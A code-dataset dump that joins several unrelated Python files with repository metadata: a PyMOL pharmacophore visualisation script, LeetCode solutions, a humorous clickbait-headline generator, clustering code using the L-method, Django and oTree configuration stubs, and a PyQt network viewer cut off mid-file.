obj = [cgo.CYLINDER] + xyz1 + xyz3 + [radius] + color1 + color2 + [cgo.CONE] + xyz3 + xyz2 + [hradius, 0.0] + color2 + color2 + [1.0, 0.0]
return obj
dirpath = tempfile.mkdtemp()
zip_dir = 'out.zip'
with zipfile.ZipFile(zip_dir) as hs_zip:
hs_zip.extractall(dirpath)
cmd.load(join(dirpath,"protein.pdb"), "protein")
cmd.show("cartoon", "protein")
if dirpath:
f = join(dirpath, "label_threshold_10.mol2")
else:
f = "label_threshold_10.mol2"
cmd.load(f, 'label_threshold_10')
cmd.hide('everything', 'label_threshold_10')
cmd.label("label_threshold_10", "name")
cmd.set("label_font_id", 7)
cmd.set("label_size", -0.4)
if dirpath:
f = join(dirpath, "label_threshold_14.mol2")
else:
f = "label_threshold_14.mol2"
cmd.load(f, 'label_threshold_14')
cmd.hide('everything', 'label_threshold_14')
cmd.label("label_threshold_14", "name")
cmd.set("label_font_id", 7)
cmd.set("label_size", -0.4)
if dirpath:
f = join(dirpath, "label_threshold_17.mol2")
else:
f = "label_threshold_17.mol2"
cmd.load(f, 'label_threshold_17')
cmd.hide('everything', 'label_threshold_17')
cmd.label("label_threshold_17", "name")
cmd.set("label_font_id", 7)
cmd.set("label_size", -0.4)
colour_dict = {'acceptor':'red', 'donor':'blue', 'apolar':'yellow', 'negative':'purple', 'positive':'cyan'}
threshold_list = [10, 14, 17]
gfiles = ['donor.grd', 'apolar.grd', 'acceptor.grd']
grids = ['donor', 'apolar', 'acceptor']
num = 0
surf_transparency = 0.2
if dirpath:
gfiles = [join(dirpath, g) for g in gfiles]
for t in threshold_list:
for i in range(len(grids)):
try:
cmd.load(r'%s'%(gfiles[i]), '%s_%s'%(grids[i], str(num)))
cmd.isosurface('surface_%s_%s_%s'%(grids[i], t, num), '%s_%s'%(grids[i], num), t)
cmd.set('transparency', surf_transparency, 'surface_%s_%s_%s'%(grids[i], t, num))
cmd.color(colour_dict['%s'%(grids[i])], 'surface_%s_%s_%s'%(grids[i], t, num))
cmd.group('threshold_%s'%(t), members = 'surface_%s_%s_%s'%(grids[i],t, num))
cmd.group('threshold_%s' % (t), members='label_threshold_%s' % (t))
except:
continue
try:
cmd.group('hotspot_%s' % (num), members='threshold_%s' % (t))
except:
continue
for g in grids:
cmd.group('hotspot_%s' % (num), members='%s_%s' % (g,num))
cluster_dict = {"18.4510002136":[], "18.4510002136_arrows":[]}
cluster_dict["18.4510002136"] += [COLOR, 0.00, 0.00, 1.00] + [ALPHA, 0.6] + [SPHERE, float(4.5), float(25.5), float(0.5), float(1.0)]
cluster_dict["18.4510002136_arrows"] += cgo_arrow([4.5,25.5,0.5], [2.746,27.508,1.346], color="blue red", name="Arrows_18.4510002136_1")
cluster_dict["18.4510002136"] += [COLOR, 0.00, 0.00, 1.00] + [ALPHA, 0.6] + [SPHERE, float(4.5), float(23.0), float(-7.0), float(1.0)]
cluster_dict["18.4510002136_arrows"] += cgo_arrow([4.5,23.0,-7.0], [4.597,24.135,-9.671], color="blue red", name="Arrows_18.4510002136_2")
cluster_dict["18.4510002136"] += [COLOR, 0.00, 0.00, 1.00] + [ALPHA, 0.6] + [SPHERE, float(10.5), float(40.5), float(-9.5), float(1.0)]
cluster_dict["18.4510002136_arrows"] += cgo_arrow([10.5,40.5,-9.5], [13.146,39.557,-9.214], color="blue red", name="Arrows_18.4510002136_3")
cluster_dict["18.4510002136"] += [COLOR, 1.00, 1.000, 0.000] + [ALPHA, 0.6] + [SPHERE, float(1.44905364463), float(32.5338360236), float(-2.68856342767), float(1.0)]
cluster_dict["18.4510002136"] += [COLOR, 1.00, 1.000, 0.000] + [ALPHA, 0.6] + [SPHERE, float(5.62774385769), float(26.5988444423), float(-2.34256952697), float(1.0)]
cluster_dict["18.4510002136"] += [COLOR, 1.00, 1.000, 0.000] + [ALPHA, 0.6] + [SPHERE, float(8.30163800919), float(39.4041017903), float(-9.58408107648), float(1.0)]
cluster_dict["18.4510002136"] += [COLOR, 1.00, 0.00, 0.00] + [ALPHA, 0.6] + [SPHERE, float(-2.0), float(33.0), float(-1.0), float(1.0)]
cluster_dict["18.4510002136_arrows"] += cgo_arrow([-2.0,33.0,-1.0], [-2.812,32.143,1.248], color="red blue", name="Arrows_18.4510002136_4")
cluster_dict["18.4510002136"] += [COLOR, 1.00, 0.00, 0.00] + [ALPHA, 0.6] + [SPHERE, float(-0.5), float(36.5), float(-2.5), float(1.0)]
cluster_dict["18.4510002136_arrows"] += cgo_arrow([-0.5,36.5,-2.5], [0.186,38.086,-4.271], color="red blue", name="Arrows_18.4510002136_5")
cluster_dict["18.4510002136"] += [COLOR, 1.00, 0.00, 0.00] + [ALPHA, 0.6] + [SPHERE, float(6.5), float(41.5), float(-8.5), float(1.0)]
cluster_dict["18.4510002136_arrows"] += cgo_arrow([6.5,41.5,-8.5], [4.555,40.37,-4.988], color="red blue", name="Arrows_18.4510002136_6")
cluster_dict["18.4510002136"] += [COLOR, 1.00, 0.00, 0.00] + [ALPHA, 0.6] + [SPHERE, float(6.5), float(37.0), float(-11.0), float(1.0)]
cluster_dict["18.4510002136"] += [COLOR, 1.00, 0.00, 0.00] + [ALPHA, 0.6] + [SPHERE, float(9.5), float(24.0), float(-2.0), float(1.0)]
cluster_dict["18.4510002136_arrows"] += cgo_arrow([9.5,24.0,-2.0], [9.475,20.992,-1.322], color="red blue", name="Arrows_18.4510002136_7")
cluster_dict["18.4510002136"] += [COLOR, 1.00, 0.00, 0.00] + [ALPHA, 0.6] + [SPHERE, float(10.0), float(32.5), float(-2.5), float(1.0)]
cluster_dict["18.4510002136_arrows"] += cgo_arrow([10.0,32.5,-2.5], [13.934,31.875,-1.202], color="red blue", name="Arrows_18.4510002136_8")
cmd.load_cgo(cluster_dict["18.4510002136"], "Features_18.4510002136", 1)
cmd.load_cgo(cluster_dict["18.4510002136_arrows"], "Arrows_18.4510002136")
cmd.set("transparency", 0.2,"Features_18.4510002136")
cmd.group("Pharmacophore_18.4510002136", members="Features_18.4510002136")
cmd.group("Pharmacophore_18.4510002136", members="Arrows_18.4510002136")
if dirpath:
f = join(dirpath, "label_threshold_18.4510002136.mol2")
else:
f = "label_threshold_18.4510002136.mol2"
cmd.load(f, 'label_threshold_18.4510002136')
cmd.hide('everything', 'label_threshold_18.4510002136')
cmd.label("label_threshold_18.4510002136", "name")
cmd.set("label_font_id", 7)
cmd.set("label_size", -0.4)
cmd.group('Pharmacophore_18.4510002136', members= 'label_threshold_18.4510002136')
cmd.bg_color("white")
cmd.show("cartoon", "protein")
cmd.color("slate", "protein")
cmd.show("sticks", "organic")
cmd.hide("lines", "protein")
| [
"cradoux.cr@gmail.com"
] | cradoux.cr@gmail.com |
bbf3f6774454f669d508e9bd59974b7037b28edc | 8a780cb47eac9da046bdb5d6917f97a086887603 | /problems/last_stone_weight/solution.py | b701204b3ce26b9e7f0bd1ecd7c4157ef3cd893b | [] | no_license | dengl11/Leetcode | d16315bc98842922569a5526d71b7fd0609ee9fb | 43a5e436b6ec8950c6952554329ae0314430afea | refs/heads/master | 2022-12-20T03:15:30.993739 | 2020-09-05T01:04:08 | 2020-09-05T01:04:08 | 279,178,665 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 351 | py | from heapq import heappush, heappop
class Solution:
def lastStoneWeight(self, stones: List[int]) -> int:
q = []
for s in stones:
heappush(q, -s)
while len(q) > 1:
y, x = -heappop(q), -heappop(q)
if x == y: continue
heappush(q, -abs(x-y))
return 0 if not q else -q[0] | [
"ldeng1314@gmail.com"
] | ldeng1314@gmail.com |
6560fcf0b82ad4f6d534807dfb58e01c1e45ebde | df83f97ed2c6dd199005e96bc7c494cfb3b49f8c | /LeetCode/Array/Median of Two Sorted Arrays.py | 23633445d236acc7f9d0e0983179064bc07b5909 | [] | no_license | poojan14/Python-Practice | 45f0b68b0ad2f92bbf0b92286602d64f3b1ae992 | ed98acc788ba4a1b53bec3d0757108abb5274c0f | refs/heads/master | 2022-03-27T18:24:18.130598 | 2019-12-25T07:26:09 | 2019-12-25T07:26:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,455 | py | '''
There are two sorted arrays nums1 and nums2 of size m and n respectively.
Find the median of the two sorted arrays. The overall run time complexity should be O(log (m+n)).
You may assume nums1 and nums2 cannot be both empty.
'''
class Solution(object):
def determineMedian(self,k,A,size):
if size % 2 == 0 :
return (A[k-1]+ A[k-2]) / float(2)
else:
return A[k-1]
def findMedianSortedArrays(self, nums1, nums2):
"""
:type nums1: List[int]
:type nums2: List[int]
:rtype: float
"""
m , n = len(nums1),len(nums2)
num = [0]*(m+n)
i ,j,k = 0 ,0,0
while i<m and j<n:
if nums1[i] <= nums2[j]:
num[k] = nums1[i]
i += 1
else:
num[k] = nums2[j]
j += 1
k += 1
if k == (m + n)//2+1:
med = self.determineMedian(k,num,m + n)
return med
while i<m:
num[k] = nums1[i]
i += 1
k += 1
if k == (m + n)//2+1:
med = self.determineMedian(k,num,m + n)
return med
while j<n:
num[k] = nums2[j]
j += 1
k += 1
if k == (m + n)//2+1:
med = self.determineMedian(k,num,m + n)
return med
| [
"noreply@github.com"
] | poojan14.noreply@github.com |
20a15b3c0182c1e1b3333858ecf1a1dbd05f7f53 | 44722fb1541645937f17e8e920f4954ff99cc046 | /src/gamesbyexample/clickbait.py | 5075628e0b5995e53b6187567a31e16e9385eb21 | [] | no_license | asweigart/gamesbyexample | a065d21be6c2e05a4c17643986b667efae0bc6de | 222bfc3b15ade1cf3bde158ba72a8b7a969ccc5a | refs/heads/main | 2023-07-16T12:12:58.541597 | 2021-09-01T21:24:35 | 2021-09-01T21:24:35 | 343,331,493 | 89 | 10 | null | null | null | null | UTF-8 | Python | false | false | 4,979 | py | """Clickbait Headline Generator, by Al Sweigart al@inventwithpython.com
A clickbait headline generator for your soulless content farm website.
This code is available at https://nostarch.com/big-book-small-python-programming
Tags: large, beginner, humor, word"""
__version__ = 0
import random
# Set up the constants:
OBJECT_PRONOUNS = ['Her', 'Him', 'Them']
POSSESIVE_PRONOUNS = ['Her', 'His', 'Their']
PERSONAL_PRONOUNS = ['She', 'He', 'They']
STATES = ['California', 'Texas', 'Florida', 'New York', 'Pennsylvania',
'Illinois', 'Ohio', 'Georgia', 'North Carolina', 'Michigan']
NOUNS = ['Athlete', 'Clown', 'Shovel', 'Paleo Diet', 'Doctor', 'Parent',
'Cat', 'Dog', 'Chicken', 'Robot', 'Video Game', 'Avocado',
'Plastic Straw','Serial Killer', 'Telephone Psychic']
PLACES = ['House', 'Attic', 'Bank Deposit Box', 'School', 'Basement',
'Workplace', 'Donut Shop', 'Apocalypse Bunker']
WHEN = ['Soon', 'This Year', 'Later Today', 'RIGHT NOW', 'Next Week']
def main():
print('Clickbait Headline Generator')
print('By Al Sweigart al@inventwithpython.com')
print()
print('Our website needs to trick people into looking at ads!')
while True:
print('Enter the number of clickbait headlines to generate:')
response = input('> ')
if not response.isdecimal():
print('Please enter a number.')
else:
numberOfHeadlines = int(response)
break # Exit the loop once a valid number is entered.
for i in range(numberOfHeadlines):
clickbaitType = random.randint(1, 8)
if clickbaitType == 1:
headline = generateAreMillenialsKillingHeadline()
elif clickbaitType == 2:
headline = generateWhatYouDontKnowHeadline()
elif clickbaitType == 3:
headline = generateBigCompaniesHateHerHeadline()
elif clickbaitType == 4:
headline = generateYouWontBelieveHeadline()
elif clickbaitType == 5:
headline = generateDontWantYouToKnowHeadline()
elif clickbaitType == 6:
headline = generateGiftIdeaHeadline()
elif clickbaitType == 7:
headline = generateReasonsWhyHeadline()
elif clickbaitType == 8:
headline = generateJobAutomatedHeadline()
print(headline)
print()
website = random.choice(['wobsite', 'blag', 'Facebuuk', 'Googles',
'Facesbook', 'Tweedie', 'Pastagram'])
when = random.choice(WHEN).lower()
print('Post these to our', website, when, 'or you\'re fired!')
# Each of these functions returns a different type of headline:
def generateAreMillenialsKillingHeadline():
noun = random.choice(NOUNS)
return 'Are Millenials Killing the {} Industry?'.format(noun)
def generateWhatYouDontKnowHeadline():
noun = random.choice(NOUNS)
pluralNoun = random.choice(NOUNS) + 's'
when = random.choice(WHEN)
return 'Without This {}, {} Could Kill You {}'.format(noun, pluralNoun, when)
def generateBigCompaniesHateHerHeadline():
pronoun = random.choice(OBJECT_PRONOUNS)
state = random.choice(STATES)
noun1 = random.choice(NOUNS)
noun2 = random.choice(NOUNS)
return 'Big Companies Hate {}! See How This {} {} Invented a Cheaper {}'.format(pronoun, state, noun1, noun2)
def generateYouWontBelieveHeadline():
state = random.choice(STATES)
noun = random.choice(NOUNS)
pronoun = random.choice(POSSESIVE_PRONOUNS)
place = random.choice(PLACES)
return 'You Won\'t Believe What This {} {} Found in {} {}'.format(state, noun, pronoun, place)
def generateDontWantYouToKnowHeadline():
pluralNoun1 = random.choice(NOUNS) + 's'
pluralNoun2 = random.choice(NOUNS) + 's'
return 'What {} Don\'t Want You To Know About {}'.format(pluralNoun1, pluralNoun2)
def generateGiftIdeaHeadline():
number = random.randint(7, 15)
noun = random.choice(NOUNS)
state = random.choice(STATES)
return '{} Gift Ideas to Give Your {} From {}'.format(number, noun, state)
def generateReasonsWhyHeadline():
number1 = random.randint(3, 19)
pluralNoun = random.choice(NOUNS) + 's'
# number2 should be no larger than number1:
number2 = random.randint(1, number1)
return '{} Reasons Why {} Are More Interesting Than You Think (Number {} Will Surprise You!)'.format(number1, pluralNoun, number2)
def generateJobAutomatedHeadline():
state = random.choice(STATES)
noun = random.choice(NOUNS)
i = random.randint(0, 2)
pronoun1 = POSSESIVE_PRONOUNS[i]
pronoun2 = PERSONAL_PRONOUNS[i]
if pronoun1 == 'Their':
return 'This {} {} Didn\'t Think Robots Would Take {} Job. {} Were Wrong.'.format(state, noun, pronoun1, pronoun2)
else:
return 'This {} {} Didn\'t Think Robots Would Take {} Job. {} Was Wrong.'.format(state, noun, pronoun1, pronoun2)
# If the program is run (instead of imported), run the game:
if __name__ == '__main__':
main()
| [
"asweigart@gmail.com"
] | asweigart@gmail.com |
e02d915d5a6b8071f34409db34e69e57ba779233 | 41ea088695ed956ef8c6e34ace4d8ab19c8b4352 | /XDG_CACHE_HOME/Microsoft/Python Language Server/stubs.v1/VhzJ2IJqcIhdz9Ev1YCeFRUb9JMBYBYPD6jceZX7twM=/_isotonic.cpython-37m-x86_64-linux-gnu.pyi | 3dde1904791e24e112bf6d51edbc57ec74501d07 | [] | no_license | ljbelenky/decline | d5c1d57fd927fa6a8ea99c1e08fedbeb83170d01 | 432ef82a68168e4ac8635a9386af2aa26cd73eef | refs/heads/master | 2021-06-18T17:01:46.969491 | 2021-04-26T18:34:55 | 2021-04-26T18:34:55 | 195,559,200 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 695 | pyi | import builtins as _mod_builtins
__builtins__ = {}
__doc__ = None
__file__ = '/home/land/.local/lib/python3.7/site-packages/sklearn/_isotonic.cpython-37m-x86_64-linux-gnu.so'
__name__ = 'sklearn._isotonic'
__package__ = 'sklearn'
def __pyx_unpickle_Enum():
pass
__test__ = _mod_builtins.dict()
def _inplace_contiguous_isotonic_regression(y, w):
pass
def _make_unique(X, y, sample_weights):
'Average targets for duplicate X, drop duplicates.\n\n Aggregates duplicate X values into a single X value where\n the target y is a (sample_weighted) average of the individual\n targets.\n\n Assumes that X is ordered, so that all duplicates follow each other.\n '
pass
| [
"ljbelenky@gmail.com"
] | ljbelenky@gmail.com |
db718b81d3b369a7e54eb24bc87b9937a19c913e | f305f84ea6f721c2391300f0a60e21d2ce14f2a5 | /22_专题/k个数组/Minimum Adjacent Elements-有序数组绝对差最小.py | 58546a10f7e514dd6f22e222eef4b4ea8489b9b1 | [] | no_license | 981377660LMT/algorithm-study | f2ada3e6959338ae1bc21934a84f7314a8ecff82 | 7e79e26bb8f641868561b186e34c1127ed63c9e0 | refs/heads/master | 2023-09-01T18:26:16.525579 | 2023-09-01T12:21:58 | 2023-09-01T12:21:58 | 385,861,235 | 225 | 24 | null | null | null | null | UTF-8 | Python | false | false | 1,206 | py | # we say that two numbers nums[i] ≤ nums[j] are adjacent if there's no number in between (nums[i], nums[j]) in nums.
# Return the minimum possible abs(j - i) such that nums[j] and nums[i] are adjacent.
# 注意到排序之后,adjacent元素相邻
from collections import defaultdict
class Solution:
def solve(self, nums):
indexMap = defaultdict(list)
for i, num in enumerate(nums):
indexMap[num].append(i)
res = int(1e20)
# 相等元素
for indexes in indexMap.values():
for pre, cur in zip(indexes, indexes[1:]):
res = min(res, abs(pre - cur))
if res == 1:
return 1
# 不等元素
keys = sorted(indexMap)
for i in range(len(keys) - 1):
nums1, nums2 = indexMap[keys[i]], indexMap[keys[i + 1]]
i, j = 0, 0
while i < len(nums1) and j < len(nums2):
res = min(res, abs(nums1[i] - nums2[j]))
if nums1[i] < nums2[j]:
i += 1
else:
j += 1
return res
print(Solution().solve(nums=[0, -10, 5, -5, 1]))
| [
"lmt2818088@gmail.com"
] | lmt2818088@gmail.com |
158cdf4a256d934f8f9e8b2fb414972e17b1e9a1 | 7755b126435af273dcfd538759c799e5d70965f8 | /django_startproject/project_template/myproject/conf/dev/settings.py | daa853108b003d5e478481f0f6fc991371446d22 | [] | no_license | k1000/django-startproject | 79bef3a218f0203e6f8a434811cb2d1e3bb34df3 | 50c04fe0ba8202bfad9e5b7eb217ae09640a76fa | refs/heads/master | 2020-04-05T23:44:54.051938 | 2010-03-25T18:56:20 | 2010-03-25T18:56:20 | 585,700 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 252 | py | from myproject.conf.settings import *
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ROOT_URLCONF = 'myproject.conf.dev.urls'
# DATABASE_ENGINE = 'postgresql_psycopg2'
# DATABASE_NAME = 'myproject'
# DATABASE_USER = 'dbuser'
# DATABASE_PASSWORD = 'dbpassword'
| [
"pete@lincolnloop.com"
] | pete@lincolnloop.com |
eae0f5c1f2698520e2d6f239064c70f6a0dd2aec | 95b6f547270557a99c435b785b907896f62e87d1 | /l_method.py | e80afe423815f6bab9ce4a911f61535b0f0fae60 | [] | no_license | phizaz/seeding-strategy-ssl | 6b3b58c9b1f556f8cd42fea5e3dc20e623462a08 | 85655ce3297130b273d5f86075ee6bdf1f12be0a | refs/heads/master | 2021-01-10T06:18:26.618009 | 2016-04-02T14:50:08 | 2016-04-02T14:50:08 | 49,761,712 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,883 | py | from fastcluster import linkage
from disjoint import DisjointSet
from collections import deque
from sklearn.metrics import mean_squared_error
from sklearn.neighbors import BallTree
import time
from itertools import islice
import numpy
import math
from collections import Counter
class Result:
def __init__(self, labels, centers):
self.labels_ = labels
self.cluster_centers_ = centers
def predict(self, X):
ball_tree = BallTree()
ball_tree.fit(self.cluster_centers_)
_, indexes = ball_tree.query(X)
result = []
for idx, in indexes:
result.append(self.labels_[idx])
return result
def f_creator(coef, intercept):
def f(x):
return intercept + coef * x
return f
def best_fit_line(x, y):
coef, intercept = numpy.polyfit(x, y, 1)
return coef, intercept
def plot(X, fn):
return [fn(x) for x in X]
def single_cluster(coef_a, coef_b, rthreshold=0.01):
# determine if there is only one cluster
# if the two slopes are different so slightly enough
# nevertheless, this will fail if not counting the bigger picture as well!!
# we use arctan instead of the slope
# because slopes don't act in a uniform way
# but radians do
angle_a = math.atan2(coef_a, 1)
angle_b = math.atan2(coef_b, 1)
# relative difference of the absolute mean of the two
avg = abs(angle_a + angle_b) / 2
# print('avg:', avg)
# print('coef_a:', coef_a, 'angle_a:', angle_a)
# print('coef_b:', coef_b, 'angle_b:', angle_b)
relative_difference = abs(angle_a - angle_b) / avg
# print('relative_difference:', relative_difference)
return relative_difference <= rthreshold
def l_method(num_groups, merge_dist):
element_cnt = len(num_groups)
# short circuit, since the l-method doesn't work with the number of elements below 4
if element_cnt < 4:
return 1
# now we have some level of confidence that O(n) is not attainable
# this l_method is gonna be slow... n * 2 * O(MSE)
x_left = num_groups[:2]
y_left = merge_dist[:2]
# we use 'deque' data structure here to attain the efficient 'popleft'
x_right = deque(num_groups[2:])
y_right = deque(merge_dist[2:])
min_score = float('inf')
min_c = None
# this is for determining single cluster problem
# min_coef_left = 0
# min_coef_right = 0
for left_cnt in range(2, element_cnt - 2 + 1):
# get best fit lines
coef_left, intercept_left = best_fit_line(x_left, y_left)
coef_right, intercept_right = best_fit_line(x_right, y_right)
fn_left = f_creator(coef_left, intercept_left)
fn_right = f_creator(coef_right, intercept_right)
y_pred_left = plot(x_left, fn_left)
y_pred_right = plot(x_right, fn_right)
# calculate the error on each line
mseA = mean_squared_error(y_left, y_pred_left)
mseB = mean_squared_error(y_right, y_pred_right)
# calculate the error on both line cumulatively
A = left_cnt / element_cnt * mseA
B = (element_cnt - left_cnt) / element_cnt * mseB
score = A + B
x_left.append(num_groups[left_cnt])
y_left.append(merge_dist[left_cnt])
x_right.popleft()
y_right.popleft()
if score < min_score:
# find the best pair of best fit lines (that has the lowest mse)
# left_cnt is not the number of clusters
# since the first num_group begins with 2
min_c, min_score = left_cnt + 1, score
# for determining single class problem
# min_coef_left, min_coef_right = coef_left, coef_right
return min_c
# this won't work for the moment
# if single_cluster(min_coef_left, min_coef_right, 0.01):
# # two lines are too close in slope to each other (1% tolerance)
# # considered to be a single line
# # thus, single cluster
# return 1
# else:
# return min_c
def refined_l_method(num_groups, merge_dist):
element_cnt = cutoff = last_knee = current_knee = len(num_groups)
# short circuit, since the l-method doesn't work with the number of elements below 4
if element_cnt < 4:
return 1
while True:
last_knee = current_knee
# print('cutoff:', cutoff)
current_knee = l_method(num_groups[:cutoff], merge_dist[:cutoff])
# print('current_knee:', current_knee)
# you can keep this number high (* 2), and no problem with that
# just make sure that the cutoff tends to go down every time
# but, we use 2 here according to the paper
cutoff = current_knee * 3
if current_knee >= last_knee:
break
return current_knee
def get_centroids(X, belong_to):
clusters_cnt = max(belong_to) + 1
centroids = [numpy.zeros(X[0].shape) for i in range(clusters_cnt)]
cluster_member_cnt = [0 for i in range(clusters_cnt)]
for i, x in enumerate(X):
belongs = belong_to[i]
cluster_member_cnt[belongs] += 1
centroids[belongs] += x
for i, centroid in enumerate(centroids):
centroids[i] = centroid / cluster_member_cnt[i]
return centroids
def agglomerative_l_method(X, method='ward'):
# library: fastcluster
merge_hist = linkage(X, method=method, metric='euclidean', preserve_input=True)
# reorder to be x [2->N]
num_groups = [i for i in range(2, len(X) + 1)]
merge_dist = list(reversed([each[2] for each in merge_hist]))
cluster_count = refined_l_method(num_groups, merge_dist)
# print('refined_l_method time:', end_time - start_time)
# print('cluster_count:', cluster_count)
# make clusters by merging them according to merge_hist
disjoint = DisjointSet(len(X))
for a, b, _, _ in islice(merge_hist, 0, len(X) - cluster_count):
a, b = int(a), int(b)
disjoint.join(a, b)
# get cluster name for each instance
belong_to = [disjoint.parent(i) for i in range(len(X))]
# print('belong_to:', belong_to)
# counter = Counter(belong_to)
# print('belong_to:', counter)
# rename the cluster name to be 0 -> cluster_count - 1
cluster_map = {}
cluster_name = 0
belong_to_renamed = []
for each in belong_to:
if not each in cluster_map:
cluster_map[each] = cluster_name
cluster_name += 1
belong_to_renamed.append(cluster_map[each])
# print('belong_to_renamed:', belong_to_renamed)
centroids = get_centroids(X, belong_to_renamed)
# print('centroids:', centroids)
return Result(belong_to_renamed, centroids)
def recursive_agglomerative_l_method(X):
raise Exception('out of service !')
# won't give any disrable output for the moment
def recursion(X):
belong_to = agglomerative_l_method(X)
num_clusters = max(belong_to) + 1
if num_clusters == 1:
return belong_to, num_clusters
new_belong_to = [None for i in range(len(belong_to))]
next_cluster_name = 0
for cluster in range(num_clusters):
next_X = []
for belong, x in zip(belong_to, X):
if belong == cluster:
next_X.append(x)
sub_belong, sub_num_clusters = recursion(next_X)
sub_belong_itr = 0
for i, belong in enumerate(belong_to):
if belong == cluster:
new_belong_to[i] = sub_belong[sub_belong_itr] + next_cluster_name
sub_belong_itr += 1
next_cluster_name += sub_num_clusters
return new_belong_to, next_cluster_name
belong_to, clusters = recursion(X)
# print('belong_to:', belong_to)
# print('clusters:', clusters)
centroids = get_centroids(X, belong_to)
# print('centroids:', centroids)
return Result(belong_to, centroids)
| [
"the.akita.ta@gmail.com"
] | the.akita.ta@gmail.com |
60d0182ebaf8ffb2c0c8299d16ab51c952127e4b | 5b77ea24ccda4fcf6ed8a269f27ac33d0a47bcad | /Startcamp/1218/scraping/currency.py | 8bb9389b05b71a0541ed79b360a0b0d022513aee | [] | no_license | yooseungju/TIL | 98acdd6a1f0c145bff4ae33cdbfbef4f45d5da42 | e6660aaf52a770508fe8778994e40aa43d2484d4 | refs/heads/master | 2020-04-11T21:13:56.981903 | 2019-09-28T12:34:03 | 2019-09-28T12:34:03 | 162,099,150 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 452 | py | import requests
from bs4 import BeautifulSoup
req = requests.get("https://www.naver.com/").text
soup = BeautifulSoup(req, 'html.parser')
hotkeyword = soup.select("#PM_ID_ct > div.header > div.section_navbar > div.area_hotkeyword.PM_CL_realtimeKeyword_base > div.ah_roll.PM_CL_realtimeKeyword_rolling_base > div > ul > .ah_item")
for item in hotkeyword:
print(item.select_one(".ah_r").text, end ='위 ')
print(item.select_one(".ah_k").text)
| [
"seung338989@gmail.com"
] | seung338989@gmail.com |
cbdf09255f98e70ee2ccb3b428ce1f08511f9203 | 6a7766599b74fddc9864e2bcccddafb333792d63 | /otree/widgets.py | 6995e7c1bbc975567a5cc5963b862294f962e9ad | [
"MIT"
] | permissive | PrimeCodingSolutions/otree-core | 4a6e113ba44bd6ded1a403c84df08b84fe890930 | 952451e0abde83306f3b6417fc535eb13e219c61 | refs/heads/master | 2021-04-18T15:22:48.700655 | 2020-08-28T13:05:06 | 2020-08-28T13:05:06 | 249,556,953 | 2 | 1 | NOASSERTION | 2020-08-28T12:39:11 | 2020-03-23T22:20:48 | HTML | UTF-8 | Python | false | false | 535 | py | # We moved the otree.widgets module to otree.forms.widgets
# prior to adding otree.api in September 2016, each models.py contained:
# "from otree import widgets"
from logging import getLogger
logger = getLogger(__name__)
MSG_NEW_IMPORTS = '''
otree.widgets does not exist anymore. You should update your imports in models.py to:
from otree.api import (
models, widgets, BaseConstants, BaseSubsession, BaseGroup, BasePlayer,
Currency as c, currency_range
)
'''
logger.warning(MSG_NEW_IMPORTS)
from .forms.widgets import *
| [
"chris@otree.org"
] | chris@otree.org |
fa632f8b6d4b51cc22f1d1ea13c796836f1d83b2 | 0c47a1529b2ebcecbb177fa5a3929a9c281b6e55 | /src/NetworkViewer.py | 571b09242d9b6137f987c55eb8c97c3e8f569a77 | [] | no_license | theideasmith/rockefeller | c7a80ac095cf021548c4a63d48df5acc6e4d5320 | 436b5b3daaf488d2bd6272af76bee27b043d5a05 | refs/heads/master | 2020-12-24T19:36:58.562908 | 2016-05-17T18:58:17 | 2016-05-17T18:58:17 | 57,930,979 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,963 | py | """
Network Viewer
Visualizes the dynamics of a network and assoicated parameters during learning
"""
__license__ = 'MIT License <http://www.opensource.org/licenses/mit-license.php>'
__author__ = 'Christoph Kirst <ckirst@rockefeller.edu>'
__docformat__ = 'rest'
#import sys, os
import numpy as np
import pyqtgraph as pg
from pyqtgraph.Qt import QtGui, QtCore
#import pyqtgraph.parametertree.parameterTypes as pTypes
from pyqtgraph.parametertree import Parameter, ParameterTree
class NetworkViewer(QtGui.QWidget):
"""Visualize Dynamics of Network"""
def __init__(self, network, timer):
"""Constructor"""
QtGui.QWidget.__init__(self);
self.network = network;
self.colors = {"output" : QtGui.QColor(0, 0, 255),
"error" : QtGui.QColor(255, 0, 0),
};
self.timer = timer;
self.setupGUI();
def setupGUI(self):
"""Setup GUI"""
self.layout = QtGui.QVBoxLayout()
self.layout.setContentsMargins(0,0,0,0)
self.setLayout(self.layout)
self.splitter = QtGui.QSplitter()
self.splitter.setOrientation(QtCore.Qt.Vertical)
self.splitter.setSizes([int(self.height()*0.5), int(self.height()*0.5)]);
self.layout.addWidget(self.splitter)
self.splitter2 = QtGui.QSplitter()
self.splitter2.setOrientation(QtCore.Qt.Horizontal)
#self.splitter2.setSizes([int(self.width()*0.5), int(self.width()*0.5)]);
self.splitter.addWidget(self.splitter2);
self.splitter3 = QtGui.QSplitter()
self.splitter3.setOrientation(QtCore.Qt.Horizontal)
#self.splitter2.setSizes([int(self.width()*0.5), int(self.width()*0.5)]);
self.splitter.addWidget(self.splitter3);
# various matrix like plots: state, goal, weights, p
self.nStates = 20; #number of states in the past to remember
self.matrixdata = [np.zeros((self.network.nInputs, self.nStates)),
np.zeros((self.network.nOutputs, self.nStates)),
np.zeros((self.network.nOutputs, self.nStates)),
np.zeros((self.network.nNodes, self.nStates))];
#np.zeros(self.network.weights.shape)];
#np.zeros(self.network.a.shape)
#np.zeros(self.network.b.shape)];
self.images = [];
self.axislabels = ['Input', 'Output', 'Goal', 'State']
for j in range(len(self.matrixdata)):
l = pg.GraphicsLayoutWidget()
self.splitter2.addWidget(l);
# We use a plotitem so we can have labels
plot = pg.PlotItem(title='<h3>'+'Network '+self.axislabels[j]+'</h3>')
l.addItem(plot, 0, 1);
i = pg.ImageItem(self.matrixdata[j]);
plot.getViewBox().addItem(i);
plot.showAxis('left', show=False)
plot.showAxis('bottom',show=False)
self.images.append(i);
for i in [0,1,2,3]:
self.images[i].setLevels([0,1]);
#output and error
self.plotlayout = pg.GraphicsLayoutWidget();
self.splitter3.addWidget(self.plotlayout);
self.plot = [];
for i in range(2):
self.plot.append(self.plotlayout.addPlot());
self.plot[i].setYRange(0, 1, padding=0);
self.plot[1].setYRange(0, 0.5, padding=0)
self.plotlength = 50000;
self.output = np.zeros((self.network.nOutputs, self.plotlength));
